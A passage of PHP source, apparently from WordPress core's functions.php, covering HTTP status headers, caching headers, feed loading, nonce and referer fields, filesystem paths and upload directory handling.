if ( is_array( $key ) ) { // removing multiple keys

foreach ( $key as $k )

$query = add_query_arg( $k, false, $query );

return $query;

}

return add_query_arg( $key, false, $query );

}

/**

* Walks the array while sanitizing the contents.

*

* @since 0.71

*

* @param array $array Array to walk while sanitizing contents.

* @return array Sanitized $array.

*/

function add_magic_quotes( $array ) {

foreach ( (array) $array as $k => $v ) {

if ( is_array( $v ) ) {

$array[$k] = add_magic_quotes( $v );

} else {

$array[$k] = addslashes( $v );

}

}

return $array;

}

/**

* HTTP request for URI to retrieve content.

*

* @since 1.5.1

*

* @see wp_safe_remote_get()

*

* @param string $uri URI/URL of web page to retrieve.

* @return false|string HTTP content. False on failure.

*/

function wp_remote_fopen( $uri ) {

$parsed_url = @parse_url( $uri );

if ( !$parsed_url || !is_array( $parsed_url ) )

return false;

$options = array();

$options['timeout'] = 10;

$response = wp_safe_remote_get( $uri, $options );

if ( is_wp_error( $response ) )

return false;

return wp_remote_retrieve_body( $response );

}

/**

* Set up the WordPress query.

*

* @since 2.0.0

*

* @param string $query_vars Default WP_Query arguments.

*/

function wp( $query_vars = '' ) {

global $wp, $wp_query, $wp_the_query;

$wp->main( $query_vars );

if ( !isset($wp_the_query) )

$wp_the_query = $wp_query;

}

/**

* Retrieve the description for the HTTP status.

*

* @since 2.3.0

*

* @param int $code HTTP status code.

* @return string Empty string if not found, or description if found.

*/

function get_status_header_desc( $code ) {

global $wp_header_to_desc;

$code = absint( $code );

if ( !isset( $wp_header_to_desc ) ) {

$wp_header_to_desc = array(

100 => 'Continue',

101 => 'Switching Protocols',

102 => 'Processing',

200 => 'OK',

201 => 'Created',

202 => 'Accepted',

203 => 'Non-Authoritative Information',

204 => 'No Content',

205 => 'Reset Content',

206 => 'Partial Content',

207 => 'Multi-Status',

226 => 'IM Used',

300 => 'Multiple Choices',

301 => 'Moved Permanently',

302 => 'Found',

303 => 'See Other',

304 => 'Not Modified',

305 => 'Use Proxy',

306 => 'Reserved',

307 => 'Temporary Redirect',

400 => 'Bad Request',

401 => 'Unauthorized',

402 => 'Payment Required',

403 => 'Forbidden',

404 => 'Not Found',

405 => 'Method Not Allowed',

406 => 'Not Acceptable',

407 => 'Proxy Authentication Required',

408 => 'Request Timeout',

409 => 'Conflict',

410 => 'Gone',

411 => 'Length Required',

412 => 'Precondition Failed',

413 => 'Request Entity Too Large',

414 => 'Request-URI Too Long',

415 => 'Unsupported Media Type',

416 => 'Requested Range Not Satisfiable',

417 => 'Expectation Failed',

418 => 'I\'m a teapot',

422 => 'Unprocessable Entity',

423 => 'Locked',

424 => 'Failed Dependency',

426 => 'Upgrade Required',

428 => 'Precondition Required',

429 => 'Too Many Requests',

431 => 'Request Header Fields Too Large',

500 => 'Internal Server Error',

501 => 'Not Implemented',

502 => 'Bad Gateway',

503 => 'Service Unavailable',

504 => 'Gateway Timeout',

505 => 'HTTP Version Not Supported',

506 => 'Variant Also Negotiates',

507 => 'Insufficient Storage',

510 => 'Not Extended',

511 => 'Network Authentication Required',

);

}

if ( isset( $wp_header_to_desc[$code] ) )

return $wp_header_to_desc[$code];

else

return '';

}

/**

* Set HTTP status header.

*

* @since 2.0.0

*

* @see get_status_header_desc()

*

* @param int $code HTTP status code.

*/

function status_header( $code ) {

$description = get_status_header_desc( $code );

if ( empty( $description ) )

return;

$protocol = $_SERVER['SERVER_PROTOCOL'];

if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol )

$protocol = 'HTTP/1.0';

$status_header = "$protocol $code $description";

if ( function_exists( 'apply_filters' ) )

/**

* Filter an HTTP status header.

*

* @since 2.2.0

*

* @param string $status_header HTTP status header.

* @param int $code HTTP status code.

* @param string $description Description for the status code.

* @param string $protocol Server protocol.

*/

$status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol );

@header( $status_header, true, $code );

}

/**

* Get the header information to prevent caching.

*

* The several different headers cover the different ways cache prevention

* is handled by different browsers

*

* @since 2.8.0

*

* @return array The associative array of header names and field values.

*/

function wp_get_nocache_headers() {

$headers = array(

'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT',

'Cache-Control' => 'no-cache, must-revalidate, max-age=0',

'Pragma' => 'no-cache',

);

if ( function_exists('apply_filters') ) {

/**

* Filter the cache-controlling headers.

*

* @since 2.8.0

*

* @see wp_get_nocache_headers()

*

* @param array $headers {

* Header names and field values.

*

* @type string $Expires Expires header.

* @type string $Cache-Control Cache-Control header.

* @type string $Pragma Pragma header.

* }

*/

$headers = (array) apply_filters( 'nocache_headers', $headers );

}

$headers['Last-Modified'] = false;

return $headers;

}

/**

* Set the headers to prevent caching for the different browsers.

*

* Different browsers support different nocache headers, so several

* headers must be sent so that all of them get the point that no

* caching should occur.

*

* @since 2.0.0

*

* @see wp_get_nocache_headers()

*/

function nocache_headers() {

$headers = wp_get_nocache_headers();

unset( $headers['Last-Modified'] );

// In PHP 5.3+, make sure we are not sending a Last-Modified header.

if ( function_exists( 'header_remove' ) ) {

@header_remove( 'Last-Modified' );

} else {

// In PHP 5.2, send an empty Last-Modified header, but only as a

// last resort to override a header already sent. #WP23021

foreach ( headers_list() as $header ) {

if ( 0 === stripos( $header, 'Last-Modified' ) ) {

$headers['Last-Modified'] = '';

break;

}

}

}

foreach( $headers as $name => $field_value )

@header("{$name}: {$field_value}");

}

/**

* Set the headers for caching for 10 days with Javascript content type.

*

* @since 2.1.0

*/

function cache_javascript_headers() {

$expiresOffset = 10 * DAY_IN_SECONDS;

header( "Content-Type: text/javascript; charset=" . get_bloginfo( 'charset' ) );

header( "Vary: Accept-Encoding" ); // Handle proxies

header( "Expires: " . gmdate( "D, d M Y H:i:s", time() + $expiresOffset ) . " GMT" );

}

/**

* Retrieve the number of database queries during the WordPress execution.

*

* @since 2.0.0

*

* @global wpdb $wpdb WordPress database abstraction object.

*

* @return int Number of database queries.

*/

function get_num_queries() {

global $wpdb;

return $wpdb->num_queries;

}

/**

* Whether input is yes or no.

*

* Must be 'y' to be true.

*

* @since 1.0.0

*

* @param string $yn Character string containing either 'y' (yes) or 'n' (no).

* @return bool True if yes, false on anything else.

*/

function bool_from_yn( $yn ) {

return ( strtolower( $yn ) == 'y' );

}

/**

* Load the feed template from the use of an action hook.

*

* If the feed action does not have a hook, then the function will die with a

* message telling the visitor that the feed is not valid.

*

* It is better to only have one hook for each feed.

*

* @since 2.1.0

*

* @uses $wp_query Used to tell if the use a comment feed.

*/

function do_feed() {

global $wp_query;

$feed = get_query_var( 'feed' );

// Remove the pad, if present.

$feed = preg_replace( '/^_+/', '', $feed );

if ( $feed == '' || $feed == 'feed' )

$feed = get_default_feed();

$hook = 'do_feed_' . $feed;

if ( ! has_action( $hook ) )

wp_die( __( 'ERROR: This is not a valid feed template.' ), '', array( 'response' => 404 ) );

/**

* Fires once the given feed is loaded.

*

* The dynamic hook name, $hook, refers to the feed name.

*

* @since 2.1.0

*

* @param bool $is_comment_feed Whether the feed is a comment feed.

*/

do_action( $hook, $wp_query->is_comment_feed );

}

/**

* Load the RDF RSS 0.91 Feed template.

*

* @since 2.1.0

*

* @see load_template()

*/

function do_feed_rdf() {

load_template( ABSPATH . WPINC . '/feed-rdf.php' );

}

/**

* Load the RSS 1.0 Feed Template.

*

* @since 2.1.0

*

* @see load_template()

*/

function do_feed_rss() {

load_template( ABSPATH . WPINC . '/feed-rss.php' );

}

/**

* Load either the RSS2 comment feed or the RSS2 posts feed.

*

* @since 2.1.0

*

* @see load_template()

*

* @param bool $for_comments True for the comment feed, false for normal feed.

*/

function do_feed_rss2( $for_comments ) {

if ( $for_comments )

load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );

else

load_template( ABSPATH . WPINC . '/feed-rss2.php' );

}

/**

* Load either Atom comment feed or Atom posts feed.

*

* @since 2.1.0

*

* @see load_template()

*

* @param bool $for_comments True for the comment feed, false for normal feed.

*/

function do_feed_atom( $for_comments ) {

if ($for_comments)

load_template( ABSPATH . WPINC . '/feed-atom-comments.php');

else

load_template( ABSPATH . WPINC . '/feed-atom.php' );

}

/**

* Display the robots.txt file content.

*

* The echo content should be with usage of the permalinks or for creating the

* robots.txt file.

*

* @since 2.1.0

*/

function do_robots() {

header( 'Content-Type: text/plain; charset=utf-8' );

/**

* Fires when displaying the robots.txt file.

*

* @since 2.1.0

*/

do_action( 'do_robotstxt' );

$output = "User-agent: *\n";

$public = get_option( 'blog_public' );

if ( '0' == $public ) {

$output .= "Disallow: /\n";

} else {

$site_url = parse_url( site_url() );

$path = ( !empty( $site_url['path'] ) ) ? $site_url['path'] : '';

$output .= "Disallow: $path/wp-admin/\n";

}

/**

* Filter the robots.txt output.

*

* @since 3.0.0

*

* @param string $output Robots.txt output.

* @param bool $public Whether the site is considered "public".

*/

echo apply_filters( 'robots_txt', $output, $public );

}

/**

* Test whether blog is already installed.

*

* The cache will be checked first. If you have a cache plugin, which saves

* the cache values, then this will work. If you use the default WordPress

* cache, and the database goes away, then you might have problems.

*

* Checks for the 'siteurl' option for whether WordPress is installed.

*

* @since 2.1.0

*

* @global wpdb $wpdb WordPress database abstraction object.

*

* @return bool Whether the blog is already installed.

*/

function is_blog_installed() {

global $wpdb;

/*

* Check cache first. If options table goes away and we have true

* cached, oh well.

*/

if ( wp_cache_get( 'is_blog_installed' ) )

return true;

$suppress = $wpdb->suppress_errors();

if ( ! defined( 'WP_INSTALLING' ) ) {

$alloptions = wp_load_alloptions();

}

// If siteurl is not set to autoload, check it specifically

if ( !isset( $alloptions['siteurl'] ) )

$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );

else

$installed = $alloptions['siteurl'];

$wpdb->suppress_errors( $suppress );

$installed = !empty( $installed );

wp_cache_set( 'is_blog_installed', $installed );

if ( $installed )

return true;

// If visiting repair.php, return true and let it take over.

if ( defined( 'WP_REPAIRING' ) )

return true;

$suppress = $wpdb->suppress_errors();

/*

* Loop over the WP tables. If none exist, then scratch install is allowed.

* If one or more exist, suggest table repair since we got here because the

* options table could not be accessed.

*/

$wp_tables = $wpdb->tables();

foreach ( $wp_tables as $table ) {

// The existence of custom user tables shouldn't suggest an insane state or prevent a clean install.

if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table )

continue;

if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table )

continue;

if ( ! $wpdb->get_results( "DESCRIBE $table;" ) )

continue;

// One or more tables exist. We are insane.

wp_load_translations_early();

// Die with a DB error.

$wpdb->error = sprintf( __( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ), 'maint/repair.php?referrer=is_blog_installed' );

dead_db();

}

$wpdb->suppress_errors( $suppress );

wp_cache_set( 'is_blog_installed', false );

return false;

}

/**

* Retrieve URL with nonce added to URL query.

*

* @since 2.0.4

*

* @param string $actionurl URL to add nonce action.

* @param int|string $action Optional. Nonce action name. Default -1.

* @param string $name Optional. Nonce name. Default '_wpnonce'.

* @return string Escaped URL with nonce action added.

*/

function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) {

$actionurl = str_replace( '&', '&', $actionurl );

return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) );

}

/**

* Retrieve or display nonce hidden field for forms.

*

* The nonce field is used to validate that the contents of the form came from

* the location on the current site and not somewhere else. The nonce does not

* offer absolute protection, but should protect against most cases. It is very

* important to use nonce field in forms.

*

* The $action and $name are optional, but if you want to have better security,

* it is strongly suggested to set those two parameters. It is easier to just

* call the function without any parameters, because validation of the nonce

* doesn't require any parameters, but since crackers know what the default is

* it won't be difficult for them to find a way around your nonce and cause

* damage.

*

* The input name will be whatever $name value you gave. The input value will be

* the nonce creation value.

*

* @since 2.0.4

*

* @param int|string $action Optional. Action name. Default -1.

* @param string $name Optional. Nonce name. Default '_wpnonce'.

* @param bool $referer Optional. Whether to set the referer field for validation. Default true.

* @param bool $echo Optional. Whether to display or return hidden form field. Default true.

* @return string Nonce field HTML markup.

*/

function wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) {

$name = esc_attr( $name );

$nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';

if ( $referer )

$nonce_field .= wp_referer_field( false );

if ( $echo )

echo $nonce_field;

return $nonce_field;

}

/**

* Retrieve or display referer hidden field for forms.

*

* The referer link is the current Request URI from the server super global. The

* input name is '_wp_http_referer', in case you wanted to check manually.

*

* @since 2.0.4

*

* @param bool $echo Optional. Whether to echo or return the referer field. Default true.

* @return string Referer field HTML markup.

*/

function wp_referer_field( $echo = true ) {

$referer_field = '<input type="hidden" name="_wp_http_referer" value="'. esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';

if ( $echo )

echo $referer_field;

return $referer_field;

}

/**

* Retrieve or display original referer hidden field for forms.

*

* The input name is '_wp_original_http_referer' and will be either the same

* value of wp_referer_field(), if that was posted already or it will be the

* current page, if it doesn't exist.

*

* @since 2.0.4

*

* @param bool $echo Optional. Whether to echo the original http referer. Default true.

* @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to.

* Default 'current'.

* @return string Original referer field.

*/

function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {

if ( ! $ref = wp_get_original_referer() ) {

$ref = 'previous' == $jump_back_to ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] );

}

$orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />';

if ( $echo )

echo $orig_referer_field;

return $orig_referer_field;

}

/**

* Retrieve referer from '_wp_http_referer' or HTTP referer.

*

* If it's the same as the current request URL, will return false.

*

* @since 2.0.4

*

* @return false|string False on failure. Referer URL on success.

*/

function wp_get_referer() {

if ( ! function_exists( 'wp_validate_redirect' ) )

return false;

$ref = false;

if ( ! empty( $_REQUEST['_wp_http_referer'] ) )

$ref = wp_unslash( $_REQUEST['_wp_http_referer'] );

else if ( ! empty( $_SERVER['HTTP_REFERER'] ) )

$ref = wp_unslash( $_SERVER['HTTP_REFERER'] );

if ( $ref && $ref !== wp_unslash( $_SERVER['REQUEST_URI'] ) )

return wp_validate_redirect( $ref, false );

return false;

}

/**

* Retrieve original referer that was posted, if it exists.

*

* @since 2.0.4

*

* @return string|false False if no original referer or original referer if set.

*/

function wp_get_original_referer() {

if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) )

return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false );

return false;

}

/**

* Recursive directory creation based on full path.

*

* Will attempt to set permissions on folders.

*

* @since 2.0.1

*

* @param string $target Full path to attempt to create.

* @return bool Whether the path was created. True if path already exists.

*/

function wp_mkdir_p( $target ) {

$wrapper = null;

// Strip the protocol.

if( wp_is_stream( $target ) ) {

list( $wrapper, $target ) = explode( '://', $target, 2 );

}

// From php.net/mkdir user contributed notes.

$target = str_replace( '//', '/', $target );

// Put the wrapper back on the target.

if( $wrapper !== null ) {

$target = $wrapper . '://' . $target;

}

/*

* Safe mode fails with a trailing slash under certain PHP versions.

* Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.

*/

$target = rtrim($target, '/');

if ( empty($target) )

$target = '/';

if ( file_exists( $target ) )

return @is_dir( $target );

// We need to find the permissions of the parent folder that exists and inherit that.

$target_parent = dirname( $target );

while ( '.' != $target_parent && ! is_dir( $target_parent ) ) {

$target_parent = dirname( $target_parent );

}

// Get the permission bits.

if ( $stat = @stat( $target_parent ) ) {

$dir_perms = $stat['mode'] & 0007777;

} else {

$dir_perms = 0777;

}

if ( @mkdir( $target, $dir_perms, true ) ) {

/*

* If a umask is set that modifies $dir_perms, we'll have to re-set

* the $dir_perms correctly with chmod()

*/

if ( $dir_perms != ( $dir_perms & ~umask() ) ) {

$folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );

for ( $i = 1; $i <= count( $folder_parts ); $i++ ) {

@chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms );

}

}

return true;

}

return false;

}

/**

* Test if a give filesystem path is absolute.

*

* For example, '/foo/bar', or 'c:\windows'.

*

* @since 2.5.0

*

* @param string $path File path.

* @return bool True if path is absolute, false is not absolute.

*/

function path_is_absolute( $path ) {

/*

* This is definitive if true but fails if $path does not exist or contains

* a symbolic link.

*/

if ( realpath($path) == $path )

return true;

if ( strlen($path) == 0 || $path[0] == '.' )

return false;

// Windows allows absolute paths like this.

if ( preg_match('#^[a-zA-Z]:\\\\#', $path) )

return true;

// A path starting with / or \ is absolute; anything else is relative.

return ( $path[0] == '/' || $path[0] == '\\' );

}

/**

* Join two filesystem paths together.

*

* For example, 'give me $path relative to $base'. If the $path is absolute,

* then it the full path is returned.

*

* @since 2.5.0

*

* @param string $base Base path.

* @param string $path Path relative to $base.

* @return string The path with the base or absolute path.

*/

function path_join( $base, $path ) {

if ( path_is_absolute($path) )

return $path;

return rtrim($base, '/') . '/' . ltrim($path, '/');

}

/**

* Normalize a filesystem path.

*

* Replaces backslashes with forward slashes for Windows systems, and ensures

* no duplicate slashes exist.

*

* @since 3.9.0

*

* @param string $path Path to normalize.

* @return string Normalized path.

*/

function wp_normalize_path( $path ) {

$path = str_replace( '\\', '/', $path );

$path = preg_replace( '|/+|','/', $path );

return $path;

}

/**

* Determine a writable directory for temporary files.

*

* Function's preference is the return value of sys_get_temp_dir(),

* followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,

* before finally defaulting to /tmp/

*

* In the event that this function does not find a writable location,

* It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file.

*

* @since 2.5.0

*

* @return string Writable temporary directory.

*/

function get_temp_dir() {

static $temp;

if ( defined('WP_TEMP_DIR') )

return trailingslashit(WP_TEMP_DIR);

if ( $temp )

return trailingslashit( $temp );

if ( function_exists('sys_get_temp_dir') ) {

$temp = sys_get_temp_dir();

if ( @is_dir( $temp ) && wp_is_writable( $temp ) )

return trailingslashit( $temp );

}

$temp = ini_get('upload_tmp_dir');

if ( @is_dir( $temp ) && wp_is_writable( $temp ) )

return trailingslashit( $temp );

$temp = WP_CONTENT_DIR . '/';

if ( is_dir( $temp ) && wp_is_writable( $temp ) )

return $temp;

$temp = '/tmp/';

return $temp;

}

/**

* Determine if a directory is writable.

*

* This function is used to work around certain ACL issues in PHP primarily

* affecting Windows Servers.

*

* @since 3.6.0

*

* @see win_is_writable()

*

* @param string $path Path to check for write-ability.

* @return bool Whether the path is writable.

*/

function wp_is_writable( $path ) {

if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) )

return win_is_writable( $path );

else

return @is_writable( $path );

}

/**

* Workaround for Windows bug in is_writable() function

*

* PHP has issues with Windows ACL's for determine if a

* directory is writable or not, this works around them by

* checking the ability to open files rather than relying

* upon PHP to interprate the OS ACL.

*

* @since 2.8.0

*

* @see http://bugs.php.net/bug.php?id=27609

* @see http://bugs.php.net/bug.php?id=30931

*

* @param string $path Windows path to check for write-ability.

* @return bool Whether the path is writable.

*/

function win_is_writable( $path ) {

if ( $path[strlen( $path ) - 1] == '/' ) // if it looks like a directory, check a random file within the directory

return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp');

else if ( is_dir( $path ) ) // If it's a directory (and not a file) check a random file within the directory

return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );

// check tmp file for read/write capabilities

$should_delete_tmp_file = !file_exists( $path );

$f = @fopen( $path, 'a' );

if ( $f === false )

return false;

fclose( $f );

if ( $should_delete_tmp_file )

unlink( $path );

return true;

}

/**

* Get an array containing the current upload directory's path and url.

*

* Checks the 'upload_path' option, which should be from the web root folder,

* and if it isn't empty it will be used. If it is empty, then the path will be

* 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will

* override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.

*

* The upload URL path is set either by the 'upload_url_path' option or by using

* the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.

*

* If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in

* the administration settings panel), then the time will be used. The format

* will be year first and then month.

*

* If the path couldn't be created, then an error will be returned with the key

* 'error' containing the error message. The error suggests that the parent

* directory is not writable by the server.

*

* On success, the returned array will have many indices:

* 'path' - base directory and sub directory or full path to upload directory.

* 'url' - base url and sub directory or absolute URL to upload directory.

* 'subdir' - sub directory if uploads use year/month folders option is on.

* 'basedir' - path without subdir.

* 'baseurl' - URL path without subdir.

* 'error' - set to false.

*

* @since 2.0.0

*

* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.

* @return array See above for description.

*/

function wp_upload_dir( $time = null ) {

$siteurl = get_option( 'siteurl' );

$upload_path = trim( get_option( 'upload_path' ) );

if ( empty( $upload_path ) || 'wp-content/uploads' == $upload_path ) {

$dir = WP_CONTENT_DIR . '/uploads';

} elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) {

// $dir is absolute, $upload_path is (maybe) relative to ABSPATH

$dir = path_join( ABSPATH, $upload_path );

} else {

$dir = $upload_path;

}

if ( !$url = get_option( 'upload_url_path' ) ) {

if ( empty($upload_path) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) )

$url = WP_CONTENT_URL . '/uploads';

else

$url = trailingslashit( $siteurl ) . $upload_path;

}

/*

* Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled.

* We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.

*/

if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {

$dir = ABSPATH . UPLOADS;

$url = trailingslashit( $siteurl ) . UPLOADS;

}

// If multisite (and if not the main site in a post-MU network)

if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) {

if ( ! get_site_option( 'ms_files_rewriting' ) ) {

/*

* If ms-files rewriting is disabled (networks created post-3.5), it is fairly

* straightforward: Append sites/%d if we're not on the main site (for post-MU

* networks). (The extra directory prevents a four-digit ID from conflicting with

* a year-based directory for the main site. But if a MU-era network has disabled

* ms-files rewriting manually, they don't need the extra directory, as they never

* had wp-content/uploads for the main site.)

*/

if ( defined( 'MULTISITE' ) )

$ms_dir = '/sites/' . get_current_blog_id();

else

$ms_dir = '/' . get_current_blog_id();

$dir .= $ms_dir;

$url .= $ms_dir;

} elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {

/*

* Handle the old-form ms-files.php rewriting if the network still has that enabled.

* When ms-files rewriting is enabled, then we only listen to UPLOADS when:

* 1) We are not on the main site in a post-MU network, as wp-content/uploads is used

* there, and

* 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect

* the original blog ID.

*

* Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.

* (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as

* as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files

* rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)

*/

if ( defined( 'BLOGUPLOADDIR' ) )

$dir = untrailingslashit( BLOGUPLOADDIR );

else

$dir = ABSPATH . UPLOADS;

$url = trailingslashit( $siteurl ) . 'files';

}

}

$basedir = $dir;

$baseurl = $url;

$subdir = '';

if ( get_option( 'uploads_use_yearmonth_folders' ) ) {

// Generate the yearly and monthly dirs

if ( !$time )

$time = current_time( 'mysql' );

$y = substr( $time, 0, 4 );

$m = substr( $time, 5, 2 );

$subdir = "/$y/$m";

}

$dir .= $subdir;

$url .= $subdir;

/**

* Filter the uploads directory data.

*

* @since 2.0.0

*

* @param array $uploads Array of upload directory data with keys of 'path',

* 'url', 'subdir, 'basedir', and 'error'.

*/

$uploads = apply_filters( 'upload_dir',

array(

'path' => $dir,

'url' => $url,

'subdir' => $subdir,

'basedir' => $basedir,

'baseurl' => $baseurl,

'error' => false,

) );

// Make sure we have an uploads directory.

if ( ! wp_mkdir_p( $uploads['path'] ) ) {

if ( 0 === strpos( $uploads['basedir'], ABSPATH ) )

$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];

else

$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];

$message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path );

$uploads['error'] = $message;

}

return $uploads;

}

/**

* Get a filename that is sanitized and unique for the given directory.

*

* If the filename is not unique, then a number will be added to the filename

* before the extension, and will continue adding numbers until the filename is

* unique.

*

* The callback is passed three parameters, the first one is the directory, the

* second is the filename, and the third is the extension.

*

* @since 2.5.0

*

* @param string $dir Directory.

* @param string $filename File name.

* @param callback $unique_filename_callback Callback. Default null.

* @return string New filename, if given wasn't unique.

*/

function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {

// Sanitize the file name before we begin processing.

$filename = sanitize_file_name($filename);

// Separate the filename into a name and extension.

$info = pathinfo($filename);

$ext = !empty($info['extension']) ? '.' . $info['extension'] : '';

$name = basename($filename, $ext);

// Edge case: if file is named '.ext', treat as an empty name.

if ( $name === $ext )

$name = '';

/*

* Increment the file number until we have a unique file to save in $dir.

* Use callback if supplied.

*/

if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {

$filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );

} else {

$number = '';

// Change '.ext' to lower case.

if ( $ext && strtolower($ext) != $ext ) {

$ext2 = strtolower($ext);

$filename2 = preg_replace( '|' . preg_quote($ext) . '$|', $ext2, $filename );

// Check for both lower and upper case extension or image sub-sizes may be overwritten.

while ( file_exists($dir . "/$filename") || file_exists($dir . "/$filename2") ) {

$new_number = $number + 1;

$filename = str_replace( "$number$ext", "$new_number$ext", $filename );

$filename2 = str_replace( "$number$ext2", "$new_number$ext2", $filename2 );

$number = $new_number;

}

return $filename2;

}

while ( file_exists( $dir . "/$filename" ) ) {

if ( '' == "$number$ext" )

$filename = $filename . ++$number . $ext;

else

$filename = str_replace( "$number$ext", ++$number . $ext, $filename );

}

}

return $filename;

}

/**

* Create a file in the upload folder with given content.

*

* If there is an error, then the key 'error' will exist with the error message.

* If success, then the key 'file' will have the unique file path, the 'url' key

* will have the link to the new file. and the 'error' key will be set to false.

*

* This function will not move an uploaded file to the upload folder. It will

* create a new file with the content in $bits parameter. If you move the upload

* file, read the content of the uploaded file, and then you can give the

* filename and content to this function, which will add it to the upload

* folder.

*

* The permissions will be set on the new file automatically by this function.

*

* @since 2.0.0

*

* @param string $name Filename.

* @param null|string $deprecated Never used. Set to null.

* @param mixed $bits File content

* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.

* @return array

*/

function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {

if ( !empty( $deprecated ) )

_deprecated_argument( __FUNCTION__, '2.0' );

if ( empty( $name ) )

return array( 'error' => __( 'Empty filename' ) );

$wp_filetype = wp_check_filetype( $name );

if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) )

return array( 'error' => __( 'Invalid file type' ) );

$upload = wp_upload_dir( $time );

if ( $upload['error'] !== false )

return $upload;

/**

* Filter whether to treat the upload bits as an error.

*

* Passing a non-array to the filter will effectively short-circuit preparing

* the upload bits, returning that value instead.

*

* @since 3.0.0

*

* @param mixed $upload_bits_error An array of upload bits data, or a non-array error to return.

*/

$upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time ) );

if ( !is_array( $upload_bits_error ) ) {

$upload[ 'error' ] = $upload_bits_error;

return $upload;

}

$filename = wp_unique_filename( $upload['path'], $name );

$new_file = $upload['path'] . "/$filename";

if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {

if ( 0 === strpos( $upload['basedir'], ABSPATH ) )

$error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];

else

$error_path = basename( $upload['basedir'] ) . $upload['subdir'];

$message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path );

return array( 'error' => $message );

}

$ifp = @ fopen( $new_file, 'wb' );

if ( ! $ifp )

return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) );

@fwrite( $ifp, $bits );

fclose( $ifp );

clearstatcache();

// Set correct file permissions

$stat = @ stat( dirname( $new_file ) );

$perms = $stat['mode'] & 0007777;

$perms = $perms & 0000666;

@ chmod( $new_file, $perms );

clearstatcache();

// Compute the URL

$url = $upload['url'] . "/$filename";

return array( 'file' => $new_file, 'url' => $url, 'error' => false );

}

/**

* Retrieve the file type based on the extension name.

*

* @since 2.5.0

*

* @param string $ext The extension to search.

* @return string|null The file type, example: audio, video, document, spreadsheet, etc.

* Null if not found.

*/

function wp_ext2type( $ext ) {

$ext = strtolower( $ext );

/**

* Filter file type based on the extension name.

*

* @since 2.5.0

*

* @see wp_ext2type()

*

* @param array $ext2type Multi-dimensional array with extensions for a default set

* of file types.

*/

$ext2type = apply_filters( 'ext2type', array(

'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico' ),

'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),

'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ),

'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd' ),

'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ),

